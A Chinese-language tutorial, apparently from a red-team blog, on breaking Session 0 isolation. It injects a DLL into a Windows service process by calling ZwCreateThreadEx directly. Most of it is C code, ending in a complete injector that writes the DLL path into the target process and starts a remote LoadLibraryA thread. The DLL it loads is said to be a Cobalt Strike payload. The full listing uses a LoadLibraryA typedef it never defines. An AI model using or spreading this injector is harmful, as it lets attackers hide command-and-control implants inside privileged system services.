一、前言
在Windows XP,Windows Server 2003以及更早的版本中,第一個登入的使用者以及Windows的所有服務都執行在Session 0上,這樣的做法導致使用者使用的應用程式可能會利用Windows的服務程式提升自身的許可權,為此,在後續的Windows版本中,引入了一種隔離機制,普通應用程式已經不再session 0中執行。
二、突破SESSION 0 思路
由於SESSION 0隔離機制,導致傳統遠端執行緒注入系統服務程序失敗。和傳統的CreateRemoteThread函式實現的DLL遠執行緒注入的唯一一個區別就是,我們呼叫的是更為底層的ZwCreateThreadEx來建立執行緒,
雖然CreateRemoteThread函式到底層也是呼叫ZwCreateThreadEx,但在呼叫ZwCreateThreadEx時 ,ZwCreateThreadEx的第7個引數 CreateSuspended(CreateThreadFlags)的值始終為1,它會導致執行緒建立完成後一直掛起無法恢復執行,於是我們選擇直接呼叫ZwCreateThreadEx,將第7個引數直接置為0,這樣可達到注入目的。
三、程式碼實現
ZwCreateThreadEx在 ntdll.dll 中並沒有宣告,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函式的匯出地址。
我們需要注意的是64位和32位中,函式定義還不一樣。
64 位下,ZwCreateThreadEx 函式宣告為:
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
32 位下,ZwCreateThreadEx 函式宣告為:
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
同樣我們也使用 GetProcAddress 從 Kernel32.dll 中獲取LoadLibraryA函式的匯出地址
typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll")
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");
隨後,我們獲取程序控制代碼,在目標程序空間中申請記憶體空間,然後把我們的DLL寫入到記憶體空間中,最後建立執行緒等待執行。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);
return 0;
效果如下圖:
此處使用的DLL為Cobalt strike生成的64位DLL,最後完整程式碼如下:
#include <Windows.h>
#include <stdio.h>
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
int main(int argc, char* argv[]) {
char DllPath[] = "C:\\Users\\RTO\\Desktop\\Injection2\\a.dll"; //DLL路徑
HANDLE hRemoteThread;
HMODULE hNtModule = GetModuleHandleA("ntdll.dll");
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx");
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); //此處為SESSION 0的程序PID
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);
return 0;
}
四、小結
- 必須是管理員許可權